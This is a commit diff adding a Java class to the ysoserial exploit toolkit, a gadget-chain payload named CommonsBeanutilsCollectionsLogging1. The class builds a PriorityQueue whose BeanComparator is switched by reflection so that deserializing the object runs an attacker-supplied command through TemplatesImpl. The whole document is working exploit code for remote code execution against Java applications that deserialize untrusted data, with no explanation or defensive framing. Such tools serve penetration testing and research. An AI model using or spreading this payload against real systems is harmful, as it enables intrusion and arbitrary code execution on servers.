added beanutils gadget chain, release 0.0.4

src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java

@@ -0,0 +1,44 @@
+package ysoserial.payloads;
+
+import java.math.BigInteger;
+import java.util.PriorityQueue;
+
+import org.apache.commons.beanutils.BeanComparator;
+
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+
+@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
+public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {
+
+	public Object getObject(final String command) throws Exception {
+		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
+		// mock method name until armed
+		final BeanComparator comparator = new BeanComparator("lowestSetBit");
+
+		// create queue with numbers and basic comparator
+		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+		// stub data for replacement later
+		queue.add(new BigInteger("1"));
+		queue.add(new BigInteger("1"));
+
+		// switch method called by comparator
+		Reflections.setFieldValue(comparator, "property", "outputProperties");
+
+		// switch contents of queue
+		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+		queueArray[0] = templates;
+		queueArray[1] = templates;
+
+		return queue;
+	}
+
+	public static void main(final String[] args) throws Exception {
+		PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args);
+	}
+}